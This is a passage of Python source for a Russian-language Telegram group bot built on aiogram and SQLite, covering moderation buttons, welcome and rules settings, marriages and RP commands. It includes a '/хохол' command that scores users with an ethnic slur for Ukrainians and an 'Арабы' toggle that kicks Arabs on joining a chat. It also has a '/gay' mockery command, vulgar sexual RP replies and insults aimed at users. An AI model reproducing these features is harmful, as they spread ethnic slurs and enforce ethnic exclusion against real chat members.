@king_of_this_world_1\"\"\")'''\n\n\n@dp.message_handler(commands=['setbal'], commands_prefix=['/', '!', '.'])\nasync def setbal(message: types.Message):\n args = message.get_args()\n cursor.execute(\"SELECT * FROM users WHERE user_id=?\", (message.from_user.id,))\n data = cursor.fetchone()\n if data is None:\n return await message.reply(\"Не найден в базе данных!\")\n if message.from_user.id in ADMINS:\n reply = message.reply_to_message\n if reply:\n replyuser = reply.from_user\n cursor.execute(f'UPDATE users SET balance=? WHERE user_id=?', (args, replyuser.id,))\n conn.commit()\n await message.reply(f\"Баланс {replyuser.first_name}, изменён на {args} монеток.\")\n else:\n await message.reply(\"Где реплай дибил.\")\n else:\n return await message.reply(\"Ты не админ.\")\n\n\n'''@dp.message_handler(commands=['balance'])\nasync def balance(message: types.Message):\n cursor.execute(\"SELECT * FROM users WHERE\", (message.from_user.id,))\n data = cursor.fetchone()\n if data is None:\n return await message.reply(\"Не найден в базе данных! В лс у бота пиши /start\")\n await message.reply(f\"Ваш баланс - {data[1]}\")'''\n\n\n@dp.message_handler(commands=['randsticker', 'sticker'], commands_prefix=['/', '!', '.'])\nasync def start(message: types.Message):\n if message.chat.id != message.from_user.id:\n srik = [i[0] for i in stickall]\n stick = random.choice(srik)\n await message.reply_sticker(stick)\n\n\n'''@dp.message_handler(commands=['hp'])\nasync def xd(message: types.Message):\n rp_btn = InlineKeyboardButton(text='RP', callback_data='rp')\n games_btn = InlineKeyboardButton(text='Games', callback_data='games')\n mod_btn = InlineKeyboardButton(text='Moderation', callback_data='mod')\n help_kb = InlineKeyboardMarkup().add(rp_btn, games_btn, mod_btn)\n await message.answer('тыкай бля.', reply_markup=help_kb)'''\n\n\n'''@dp.callback_query_handler(text=\"rp\")\nasync def qwerty(call: types.CallbackQuery):\n await call.message.answer(text='В разработке...')'''\n\n\n@dp.callback_query_handler(text=\"games\")\nasync def qwerty(call: types.CallbackQuery):\n await call.message.answer(text=\"\"\"/bonus – выдам бонус в размере 5000 монет. (временно не работает)\n/balance – узнать сколько у тебя игровых монет. (временно не работает)\nКто я? – покажу известную мне информацию о тебе.\nКуб (число от 1 до 6) (ставка) – сыграть в кубик, при выигрыше x6 к ставке. (временно не работает)\n/gay – покажу на сколько процентов ты гей.\n/хохол – покажу на сколько процентов ты хохол.\n/dick – увеличить свой dick(временно не работает)\nИгра – игра в суефа с ботом(скоро сделаю с разными игроками) (временно не работает)\nКогда я умру? – покажу когда ты умрешь:)\"\"\")\n\n\n'''@dp.callback_query_handler(text=\"mod\")\nasync def qwerty(call: types.CallbackQuery):\n await call.message.answer(text='В разработке...')'''\n\n\n'''@dp.message_handler(commands=['ping', 'пинг'], commands_prefix=[\"/\", \"!\"])\nasync def ping(message: types.Message):\n a = time.time()\n bot_msg = await message.answer(f'Проверка пинга...')\n if bot_msg:\n b = time.time()\n await bot_msg.edit_text(f'Пинг бота: {round((b - a) * 1000)} мс')'''\n\n\n@dp.message_handler(Text(\"Кто я?\", ignore_case=True))\nasync def govno(message: types.Message):\n await message.answer(f\"\"\"📝Вот мне известная информацию о тебе:)\n✅Имя: {message.from_user.first_name}\n✅Фамилия: {message.from_user.last_name}\n✅Юзернейм: @{message.from_user.username}\n🆔ID: {message.from_user.id}\n👅Язык: {message.from_user.language_code}\n🔗Ссылка: Ссылка\"\"\")\n\n@dp.message_handler(Text(\"Кто я\", ignore_case=True))\nasync def govno(message: types.Message):\n await message.answer(f\"\"\"📝Вот мне известная информацию о тебе:)\n✅Имя: {message.from_user.first_name}\n✅Фамилия: {message.from_user.last_name}\n✅Юзернейм: @{message.from_user.username}\n🆔ID: {message.from_user.id}\n👅Язык: {message.from_user.language_code}\n🔗Ссылка: Ссылка\"\"\")\n\n@dp.message_handler(Text(\"кто я?\", ignore_case=True))\nasync def govno(message: types.Message):\n await message.answer(f\"\"\"📝Вот мне известная информацию о тебе:)\n✅Имя: {message.from_user.first_name}\n✅Фамилия: {message.from_user.last_name}\n✅Юзернейм: @{message.from_user.username}\n🆔ID: {message.from_user.id}\n👅Язык: {message.from_user.language_code}\n🔗Ссылка: Ссылка\"\"\")\n\n@dp.message_handler(Text(\"кто я\", ignore_case=True))\nasync def govno(message: types.Message):\n await message.answer(f\"\"\"📝Вот мне известная информацию о тебе:)\n✅Имя: {message.from_user.first_name}\n✅Фамилия: {message.from_user.last_name}\n✅Юзернейм: @{message.from_user.username}\n🆔ID: {message.from_user.id}\n👅Язык: {message.from_user.language_code}\n🔗Ссылка: Ссылка\"\"\")\n\n@dp.message_handler(commands=['hohol', 'хохол'], commands_prefix=[\"/\", \"!\"])\nasync def hohol(message: types.Message):\n hohol = random.randrange(0, 101)\n if hohol <= 1:\n await bot.send_message(message.chat.id,\n (\"🐷 \" \"БЛЯ УВАЖУХА!!! Ты хохол на \" + str(hohol) + \"%\" \" 🐷\\nРеспект!\"))\n elif hohol <= 10:\n await bot.send_message(message.chat.id, (\"🐷 \" \"ВОУ-ВОУ-ВОУ ты хохол на \" + str(hohol) + \"%\" \" 🐷\\nРеспект\"))\n elif hohol <= 30:\n await bot.send_message(message.chat.id, (\"🐷 \" \"Поздравляю🎉🐷\\n🐷 Ты хохол на \" + str(hohol) + \"%\" \" 🐷\"))\n elif hohol <= 50:\n await bot.send_message(message.chat.id,\n (\"🐷 \" \"Это BAN... Чё ещё.🐷\\n🐷 Ты хохол на \" + str(hohol) + \"%\" \" 🐷\"))\n elif hohol <= 70:\n await bot.send_message(message.chat.id, (\"🐷 \" \"Мы тебя теряем..🐷\\n🐷 Ты хохол на \" + str(hohol) + \"%\" \" 🐷\"))\n elif hohol <= 80:\n await bot.send_message(message.chat.id,\n (\"🐷 \" \"Капец.. Не надо так🐷\\n🐷 Ты хохол на \" + str(hohol) + \"%\" \" 🐷\"))\n elif hohol <= 98:\n await bot.send_message(message.chat.id, (\"🐷 \" \"Оуу.. Всё плохо..🐷\\n🐷Ты хохол на \" + str(hohol) + \"%\" \" 🐷\"))\n elif hohol <= 99:\n await bot.send_message(message.chat.id, (\"🐷 \" \"Да ты на грани..🐷\\n🐷Ты хохол на \" + str(hohol) + \"%\" \" 🐷\"))\n elif hohol >= 100:\n await bot.send_message(message.chat.id,\n (\"🐷 \" \"Тут просто Pres F...🐷\\n🐷Ты хохол на \" + str(hohol) + \"%\" \" 🐷\"))\n else:\n await bot.send_message(message.chat.id, (\"🐷 \" \"Ты хохол на \" + str(hohol) + \"%\" \" 🐷\"))\n\n\n@dp.message_handler(commands=['пург', 'purge'], commands_prefix=[\"/\", \"!\"])\nasync def ping(message: types.Message):\n if message.reply_to_message:\n admt = await message.chat.get_member(message.from_user.id)\n if admt.is_chat_admin():\n bot_msg = await message.answer(f'Начинаю удалять...')\n aboba = []\n aboba.append(message.chat.id)\n a = aboba[0]\n aboba.append(message.reply_to_message.message_id)\n b = aboba[1]\n aboba.append(message.message_id)\n v = aboba[2]\n con = []\n dec = []\n print(1)\n for i in range(b, v + 1):\n print(2)\n try:\n await bot.delete_message(chat_id=a, message_id=i)\n con.append(i)\n print('ok')\n except:\n print('gey')\n dec.append(i)\n try:\n await bot_msg.delete()\n await message.answer('Пург закончен')\n except:\n await message.answer('Пург закончеn')\n else:\n await message.reply('Ты не админ!')\n else:\n await message.reply('Эта команда должна быть ответом на какое-либо сообщение!')\n\n\n'''@dp.message_handler(commands=['likes', 'лайк'], commands_prefix=[\"/\", \"!\"])\nasync def likes(message: types.Message):\n buttons = InlineKeyboardMarkup(row_width=1)\n buttons.add(InlineKeyboardButton(\"❤️ 0\", callback_data=\"like\"))\n await message.answer(\"*Сколько соберём ❤️?*\", reply_markup=buttons, parse_mode=\"Markdown\")\n\n\n@dp.callback_query_handler(lambda c: c.data == \"like\")\nasync def like_callback(callback: types.CallbackQuery):\n message = callback.message\n temp = message.reply_markup['inline_keyboard'][0][0][\"text\"].split(\"❤️ \")[1]\n buttons = InlineKeyboardMarkup(row_width=1)\n buttons.add(InlineKeyboardButton(\"❤️ \" + str(int(temp) + 1), callback_data=\"like\"))\n await bot.edit_message_text(\n chat_id=message.chat.id,\n message_id=message.message_id,\n text=message.text,\n reply_markup=buttons\n )'''\n\n\n@dp.message_handler(commands=['edit'])\nasync def ping(message: types.Message):\n us = sql.select_data(message.from_user.id, \"id\")[0]\n if us[0] in ADMINS:\n try:\n user = message.text.split()[1]\n user = sql.select_data(user, 'username')[0]\n stolb = message.text.split()[2]\n znach = message.text.split()[3]\n sql.edit_data('id', user[0], stolb, int(znach))\n except:\n ab = InlineKeyboardButton(text='Показать столбцы', callback_data='stolbc')\n a = InlineKeyboardMarkup().add(ab)\n await message.reply('Введите /edit (username) (столбец) (значение int)', reply_markup=a)\n\n\n@dp.message_handler(Text(\"Ок\", ignore_case=True))\nasync def kras(msg: types.Message):\n await msg.reply(\"Хуй ок\")\n\n\n@dp.message_handler(Command(\"gay\", prefixes=\"!/\"))\nasync def gay(message: types.Message):\n \"\"\"Хедлер, для обработки комманды /gay или !gay\n В ответ, бот отправляет то, на сколько пользователь является геем\n Примеры:\n /gay\n /gay Vasya\n !gay\n !gay Vasya\n \"\"\"\n # разбиваем сообщение на комманду и аргументы через регулярное выражение\n command_parse = re.compile(r\"(!gay|/gay) ?([\\w+ ]+)?\")\n parsed = command_parse.match(message.text)\n target = parsed.group(2)\n percentage = randint(0, 100)\n\n # если пользователь не ввёл цель, он сам становится ею\n if not target:\n target = message.from_user.get_mention()\n\n # отправляем результат\n await message.reply(f\"🏳️‍🌈 Похоже, что {target} гей на {percentage}%\")\n\n\n@dp.callback_query_handler(text=\"stolbc\")\nasync def send_cmds(call: types.CallbackQuery):\n texts = (\n 'Доступные столбцы:\\n\\n'\n '.cidc. — Айди пользователя (int)\\n'\n '.cusernamec. — Ник пользователя (str)\\n'\n '.crepac. — Репутация пользователя. (int)\\n'\n '.cwarnc. — Варны пользователя. (int)\\n'\n '.cbrakc. — Брак с юзером (int)\\n'\n '.cregDatec. — Дата регистрации (str)')\n texts = texts.replace('.c', '')\n texts = texts.replace('c.', '')\n await call.message.answer(texts)\n\n\n@dp.callback_query_handler(text=\"cmdsbot_callback\")\nasync def send_cmds(call: types.CallbackQuery):\n texts = config.text.replace('', '')\n texts = texts.replace('', '')\n await call.message.delete()\n await call.message.answer(texts)\n\n\n@dp.callback_query_handler(text_startswith=\"onbot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n if chatsss[8] == 1:\n chatsql.edit_data('id', chatid, 'on_off', 0)\n await call.answer(text='Бот был успешно выключен в этом чате', show_alert=True)\n if chatsss[8] == 0:\n chatsql.edit_data('id', chatid, 'on_off', 1)\n await call.answer(text='Бот был успешно включен в этом чате', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"reportsbot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n if chatsss[13] == 1:\n chatsql.edit_data('id', chatid, 'reports', 0)\n await call.answer(text='Репорты были успешно выключены в этоп чате.', show_alert=True)\n if chatsss[13] == 0:\n chatsql.edit_data('id', chatid, 'reports', 1)\n await call.answer(text='Репорты были успешно включены в этоп чате.', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"arabsbot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n if chatsss[11] == 1:\n chatsql.edit_data('id', chatid, 'arabs', 0)\n await call.answer(text='Арабы теперь будут кикнуты при входе в чат.', show_alert=True)\n if chatsss[11] == 0:\n chatsql.edit_data('id', chatid, 'arabs', 1)\n await call.answer(text='Арабы теперь НЕ будут кикнуты при входе в чат.', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"actbot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n if chatsss[4] == 1:\n chatsql.edit_data('id', chatid, 'randomais', 0)\n await call.answer(text='Поддержание онлайна , было успешно выключено в этом чате', show_alert=True)\n if chatsss[4] == 0:\n chatsql.edit_data('id', chatid, 'randomais', 1)\n await call.answer(text='Поддержание онлайна , было успешно включено в этом чате', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"welcbot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n if chatsss[3] == 1:\n chatsql.edit_data('id', chatid, 'welcomes', 0)\n await call.answer(text='Приветствия , были успешно выключены в этом чате', show_alert=True)\n if chatsss[3] == 0:\n chatsql.edit_data('id', chatid, 'welcomes', 1)\n await call.answer(text='Приветствия были успешно включены в этом чате', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"tixbot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n if chatsss[10] > 4:\n chatsql.edit_data('id', chatid, 'tixiy', 4)\n await call.answer(text='Тихий режим выключен.', show_alert=True)\n else:\n chatsql.edit_data('id', chatid, 'tixiy', 10)\n await call.answer(text='Тихий режим включен.', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"repabot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n if chatsss[12] == 1:\n chatsql.edit_data('id', chatid, 'repa', 0)\n await call.answer(text='Репутация была выключена в этом чате.', show_alert=True)\n else:\n chatsql.edit_data('id', chatid, 'repa', 1)\n await call.answer(text='Репутация была включена в этом чате.', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"linksbot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n if chatsss[14] == 1:\n chatsql.edit_data('id', chatid, 'links', 0)\n await call.answer(text='Анти-Ссылки были выключены в этом чате.', show_alert=True)\n else:\n chatsql.edit_data('id', chatid, 'links', 1)\n await call.answer(text='Анти-Ссылки были включены в этом чате.', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"matsbot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n if chatsss[5] == 1:\n chatsql.edit_data('id', chatid, 'mats', 0)\n await call.answer(text='Анти-Мат был выключен в этом чате.', show_alert=True)\n else:\n chatsql.edit_data('id', chatid, 'mats', 1)\n await call.answer(text='Анти-Мат был включен в этом чате.', show_alert=True)\n\n\n# welcome inline\n@dp.callback_query_handler(text_startswith=\"welcomesbot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n await call.message.delete()\n nazad_btn = InlineKeyboardButton('Назад', callback_data=f'settingsbot_{chatid}')\n delete_btn = InlineKeyboardButton('Удалить приветствие', callback_data=f'delwelcbot_{chatid}')\n update_btn = InlineKeyboardButton('Изменить приветствие', callback_data=f'updwelcbot_{chatid}')\n welcome_kb = InlineKeyboardMarkup(row_width=2).add(update_btn, delete_btn, nazad_btn)\n await call.message.answer('Выберите действие:', reply_markup=welcome_kb)\n\n\nclass WelcomeMsg(StatesGroup):\n waiting_welcome_msg = State()\n\n\n@dp.callback_query_handler(text_startswith=\"updwelcbot_\")\nasync def send_updwelc(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n await call.message.answer(\n text='Введите текст приветствия\\n\\nТакже есть тригеры:\\n{username} -- Ник пользователя\\n{firstname} -- Имя пользователя\\n{id} -- Айди пользователя\\n{link} -- Ссылка на чат.\\n|текст|ссылка| -- Кнопка в приветствии.')\n await WelcomeMsg.waiting_welcome_msg.set()\n\n\n@dp.message_handler(state=WelcomeMsg.waiting_welcome_msg)\nasync def welcome_msgl(message: types.Message, state: FSMContext):\n await state.update_data(welcome_msg=message.text)\n user_data = await state.get_data()\n try:\n us = sql.select_data(message.from_user.id, \"id\")[0]\n except IndexError:\n username = message.from_user.username\n await new_user(message.from_user.id, username)\n us = sql.select_data(message.from_user.id, \"id\")[0]\n if us[4] == 0:\n await message.answer('Запросите настройки заново в чате.')\n return\n welcome_message = user_data['welcome_msg']\n chatsql.edit_data('id', us[4], 'text', welcome_message)\n settingsbot = InlineKeyboardButton('Назад', callback_data=f'settingsbot_{us[4]}')\n settingsbot_kb = InlineKeyboardMarkup(row_width=1).add(settingsbot)\n await message.reply(f'Текст приветствия успешно изменён на:\\n{welcome_message}', reply_markup=settingsbot_kb)\n await state.finish()\n\n\n@dp.callback_query_handler(text_startswith=\"delwelcbot_\")\nasync def delwelcome(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n chatsql.edit_data('id', chatid, 'text', ' ')\n settingsbot = InlineKeyboardButton('Назад', callback_data=f'settingsbot_{chatid}')\n settingsbot_kb = InlineKeyboardMarkup(row_width=1).add(settingsbot)\n await call.message.answer(text='Текст приветствий очищен.', reply_markup=settingsbot_kb)\n\n\n@dp.callback_query_handler(text_startswith=\"delmsg_\")\nasync def delmsg(call: types.CallbackQuery):\n msgid = call.data.split('_')[1]\n msgid = int(msgid)\n chatid = call.data.split('_')[2]\n chatid = int(chatid)\n await call.message.delete()\n try:\n await bot.delete_message(chatid, msgid)\n await call.answer(text='Сообщение удалено.', show_alert=True)\n except:\n await call.answer(text='Другой администратор уже выбрал действие.', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"banuser_\")\nasync def banuser(call: types.CallbackQuery):\n userid = call.data.split('_')[1]\n userid = int(userid)\n chatid = call.data.split('_')[2]\n chatid = int(chatid)\n await call.message.delete()\n ro_end_date = call.message.date + timedelta(days=367)\n try:\n await bot.kick_chat_member(chatid, userid, ro_end_date, True)\n await call.answer(text='Пользователь забанен.', show_alert=True)\n except:\n await call.answer(text='Другой администратор уже выбрал действие.', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"muteuser_\")\nasync def muteuser(call: types.CallbackQuery):\n userid = call.data.split('_')[1]\n userid = int(userid)\n chatid = call.data.split('_')[2]\n chatid = int(chatid)\n ro_end_date = call.message.date + timedelta(days=367)\n await call.message.delete()\n try:\n await bot.restrict_chat_member(\n chat_id=chatid,\n user_id=userid,\n permissions=types.ChatPermissions(),\n until_date=ro_end_date)\n await call.answer(text='Пользователь замьючен.', show_alert=True)\n except:\n await call.answer(text='Другой администратор уже выбрал действие.', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"kickuser_\")\nasync def kickuser(call: types.CallbackQuery):\n userid = call.data.split('_')[1]\n userid = int(userid)\n chatid = call.data.split('_')[2]\n chatid = int(chatid)\n ro_end_date = call.message.date + timedelta(seconds=31)\n await call.message.delete()\n try:\n await bot.kick_chat_member(chatid, userid, ro_end_date, False)\n await call.answer(text='Пользователь кикнут.', show_alert=True)\n except:\n await call.answer(text='Другой администратор уже выбрал действие.', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"rulesbot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n await call.message.delete()\n nazad_btn = InlineKeyboardButton('Назад', callback_data=f'settingsbot_{chatid}')\n delete_btn = InlineKeyboardButton('Удалить правила', callback_data=f'delrulbot_{chatid}')\n update_btn = InlineKeyboardButton('Изменить правила', callback_data=f'updrulbot_{chatid}')\n rules_kb = InlineKeyboardMarkup(row_width=2).add(update_btn, delete_btn, nazad_btn)\n await call.message.answer('Выберите действие:', reply_markup=rules_kb)\n\n\nclass RulesMsg(StatesGroup):\n waiting_rules_msg = State()\n\n\n@dp.callback_query_handler(text_startswith=\"updrulbot_\")\nasync def send_updwelc(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n await call.message.answer(text='Введите текст для правил:')\n await RulesMsg.waiting_rules_msg.set()\n\n\n@dp.message_handler(state=RulesMsg.waiting_rules_msg)\nasync def welcome_msgl(message: types.Message, state: FSMContext):\n await state.update_data(rules_msg=message.text)\n user_data = await state.get_data()\n try:\n us = sql.select_data(message.from_user.id, \"id\")[0]\n except IndexError:\n username = message.from_user.username\n await new_user(message.from_user.id, username)\n us = sql.select_data(message.from_user.id, \"id\")[0]\n if us[4] == 0:\n await message.answer('Запросите настройки заново в чате.')\n return\n rules_message = user_data['rules_msg']\n chatsql.edit_data('id', us[4], 'rules', rules_message)\n settingsbot = InlineKeyboardButton('Назад', callback_data=f'settingsbot_{us[4]}')\n settingsbot_kb = InlineKeyboardMarkup(row_width=1).add(settingsbot)\n await message.reply(f'Текст правил успешно изменён на:\\n{rules_message}', reply_markup=settingsbot_kb)\n await state.finish()\n\n\n@dp.callback_query_handler(text_startswith=\"brakotkaz_\")\nasync def send_debrak(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n us = sql.select_data(call.from_user.id, \"id\")[0]\n if call.from_user.id == chatid:\n if us[5] == 0:\n await call.message.delete()\n await call.message.answer(f'{call.from_user.first_name} отказал(ась/ся) оt брака')\n else:\n await call.message.delete()\n await call.message.answer(f'{call.from_user.first_name} развел(ась/ся)')\n sql.edit_data('id', us[5], 'brak', 0)\n sql.edit_data('id', us[0], 'brak', 0)\n else:\n await call.answer('Это не для тебя', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"brakprinyat_\")\nasync def send_brak(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n id2 = call.data.split('_')[2]\n id2 = int(id2)\n if call.from_user.id == id2:\n us1 = sql.select_data(chatid, 'id')[0]\n us2 = sql.select_data(id2, 'id')[0]\n await call.message.delete()\n sql.edit_data('id', chatid, 'brak', id2)\n sql.edit_data('id', id2, 'brak', chatid)\n ys = hlink(f\"{call.from_user.first_name}\", f\"tg://user?id={id2}\")\n await call.message.answer(f'Юхууу! {ys} и @{us1[1]} поженились!')\n else:\n await call.answer('Это не для тебя', show_alert=True)\n\n\n@dp.callback_query_handler(text_startswith=\"delrulbot_\")\nasync def delwelcome(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n chatsql.edit_data('id', chatid, 'rules', ' ')\n settingsbot = InlineKeyboardButton('Назад', callback_data=f'settingsbot_{chatid}')\n settingsbot_kb = InlineKeyboardMarkup(row_width=1).add(settingsbot)\n await call.message.answer(text='Текст правил очищен.', reply_markup=settingsbot_kb)\n\n\n@dp.callback_query_handler(text_startswith=\"settingsbot_\")\nasync def settingsbot(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n vkl_btn = InlineKeyboardButton('Включить бота', callback_data=f'onbot_{chatid}')\n act_btn = InlineKeyboardButton('Поддержание актива', callback_data=f'actbot_{chatid}')\n welc_btn = InlineKeyboardButton('Приветствия', callback_data=f'welcbot_{chatid}')\n reon_btn = InlineKeyboardButton('Удаление смс', callback_data=f'reonbot_{chatid}')\n tix_btn = InlineKeyboardButton('Тихий режим', callback_data=f'tixbot_{chatid}')\n repa_btn = InlineKeyboardButton('Репутация', callback_data=f'repabot_{chatid}')\n arabs_btn = InlineKeyboardButton('Арабы', callback_data=f'arabsbot_{chatid}')\n welcomes_btn = InlineKeyboardButton('Текст приветствия', callback_data=f'welcomesbot_{chatid}')\n rules_btn = InlineKeyboardButton('Правила', callback_data=f'rulesbot_{chatid}')\n reports_btn = InlineKeyboardButton('Репорты', callback_data=f'reportsbot_{chatid}')\n links_btn = InlineKeyboardButton('Анти-Ссылки', callback_data=f'linksbot_{chatid}')\n mats_btn = InlineKeyboardButton('Анти-Маты', callback_data=f'matsbot_{chatid}')\n settings_kb = InlineKeyboardMarkup(row_width=2).add(vkl_btn, act_btn, welc_btn, links_btn, mats_btn, reon_btn,\n repa_btn, tix_btn, arabs_btn, welcomes_btn, reports_btn,\n rules_btn)\n await call.message.delete()\n await call.message.answer('Настройки чата:', reply_markup=settings_kb)\n\n\n@dp.callback_query_handler(text_startswith=\"reonbot_\")\nasync def send_cmds(call: types.CallbackQuery):\n chatid = call.data.split('_')[1]\n chatid = int(chatid)\n chatsss = chatsql.select_data(chatid, 'id')[0]\n if chatsss[9] == 1:\n chatsql.edit_data('id', chatid, 're_on', 0)\n await call.answer(text='Сообщения написанные пользователями , теперь не будут удаляться в этом чате',\n show_alert=True)\n if chatsss[9] == 0:\n chatsql.edit_data('id', chatid, 're_on', 1)\n await call.answer(text='Сообщения написанные пользователями , будут удаляться в этом чате', show_alert=True)\n\n\n@dp.message_handler(Text(\"Поцеловать\", ignore_case=True))\nasync def f(message: types.Message):\n if not message.reply_to_message:\n await message.reply(\"😘| ты поцеловал весь чат\")\n return\n\n await message.answer(\n f\"\"\"😘|{message.from_user.first_name} поцеловал(-а) {message.reply_to_message.from_user.first_name}\"\"\")\n\n\n@dp.message_handler(Text(\"Пукнуть\", ignore_case=True))\nasync def f(message: types.Message):\n if not message.reply_to_message:\n await message.reply(\"💨|Ты пукнул в воздух\")\n return\n\n await message.answer(\n f\"\"\"💨|{message.from_user.first_name} пукнул(-а) в {message.reply_to_message.from_user.first_name}\"\"\")\n\n\n@dp.message_handler(Text(\"Отсосать\", ignore_case=True))\nasync def f(message: types.Message):\n if not message.reply_to_message:\n await message.reply(\"🤯| ты отсосал у всего чата\")\n return\n\n await message.answer(\n f\"\"\"🤤|{message.from_user.first_name} отсосал(-а) у {message.reply_to_message.from_user.first_name}\"\"\")\n\n\n@dp.message_handler(Text(\"Тык\", ignore_case=True))\nasync def f(message: types.Message):\n if not message.reply_to_message:\n await message.reply(\"☝️| ты тыкнул в воздух\")\n return\n\n await message.answer(\n f\"\"\"☝️|{message.from_user.first_name} тыкнул(-а) в {message.reply_to_message.from_user.first_name}\"\"\")\n\n\n@dp.message_handler(Text(\"Обнять\", ignore_case=True))\nasync def f(message: types.Message):\n if not message.reply_to_message:\n await message.reply(\"🤗| ты обнял весь чат\")\n return\n\n await message.answer(\n f\"\"\"🤗|{message.from_user.first_name} обнял(-а) {message.reply_to_message.from_user.first_name}\"\"\")\n\n\n@dp.message_handler(Text(\"Трахнуть\", ignore_case=True))\nasync def f(message: types.Message):\n if not message.reply_to_message:\n await message.reply(\"👌👈| Ты трахнул весь чат\")\n return\n\n await message.answer(\n f\"\"\"👌👈|{message.from_user.first_name} трахнул(-а) {message.reply_to_message.from_user.first_name}\"\"\")\n\n\n@dp.message_handler(Text(\"Выебать\", ignore_case=True))\nasync def f(message: types.Message):\n if not message.reply_to_message:\n await message.reply(\"😬| Ты жестоко выебал весь чат\")\n return\n\n await message.answer(\n f\"\"\"😬|{message.from_user.first_name} жестоко выебал(-а) {message.reply_to_message.from_user.first_name}\"\"\")\n\n\n@dp.callback_query_handler(text=\"nazad_callback\")\nasync def main_msg(call: types.CallbackQuery):\n text = ('Привет! Я Smoke Clown!\\n'\n\n # 'Мои команды: /balance , /game , /obmen , /help\\n'\n\n '\\n'\n 'Клоун бот модератор с искусственным интеллектом и играми! Добавь меня в свой чат и выдай админку!')\n\n await call.message.edit_text(text)\n\n\nclass Rass(StatesGroup):\n msg = State()\n\n\n@dp.callback_query_handler(text=\"rassilka\")\nasync def send_rass(call: types.CallbackQuery):\n if call.from_user.id in ADMINS:\n id = call.from_user.id\n await call.message.answer(text='Введите текст/фото для рассылки:')\n await Rass.msg.set()\n\n\n'''@dp.message_handler(content_types=ContentType.ANY, state=Rass.msg)\nasync def rassilka_msgl(message: types.Message, state: FSMContext):\n await state.finish()\n users_query = sql.get_all_data()\n user_ids = [user[0] for user in users_query]\n confirm = []\n decline = []\n bot_msg = await message.answer(f'Рассылка началась...')\n for i in user_ids:\n try:\n await message.copy_to(i)\n confirm.append(i)\n except:\n decline.append(i)\n #\t\tawait bot_msg.edit_text(f'Рассылка иде́т...\\n\\n{len(confirm)} успешно\\n{len(decline)} неуспешно')\n await asyncio.sleep(0.3)\n await bot_msg.edit_text(f'Рассылка завершена!\\n\\nУспешно: {len(confirm)}\\nНеуспешно: {len(decline)}')\n\n\nclass Rassc(StatesGroup):\n msgc = State()'''\n\n\n'''@dp.callback_query_handler(text=\"rassilkac\")\nasync def send_rassc(call: types.CallbackQuery):\n if call.from_user.id in ADMINS:\n id = call.from_user.id\n await call.message.answer(text='Введите текст/фото для рассылки:')\n await Rassc.msgc.set()\n print('0')'''\n\n\n'''@dp.message_handler(content_types=ContentType.ANY, state=Rassc.msgc)\nasync def rassilkac_msgl(message: types.Message, state: FSMContext):\n print('1')\n await state.finish()\n print('2')\n chats_query = chatsql.get_all_data()\n chat_ids = [chat[0] for chat in chats_query]\n confirm = []\n decline = []\n bot_msg = await message.answer(f'Рассылка началась...')\n for i in chat_ids:\n try:\n await message.copy_to(i)\n confirm.append(i)\n except:\n decline.append(i)\n #\t\tawait bot_msg.edit_text(f'Рассылка иде́т...\\n\\n{len(confirm)} успешно\\n{len(decline)} неуспешно')\n await asyncio.sleep(3)\n await bot_msg.edit_text(f'Рассылка завершена!\\n\\nУспешно: {len(confirm)}\\nНеуспешно: {len(decline)}')\n\n\nclass CaptchaMsg(StatesGroup):\n waiting_captcha = State()\n\n\nrecaptcha_btn = InlineKeyboardButton(text='Сменить', callback_data='recaptcha')\ncaptcha_kb = 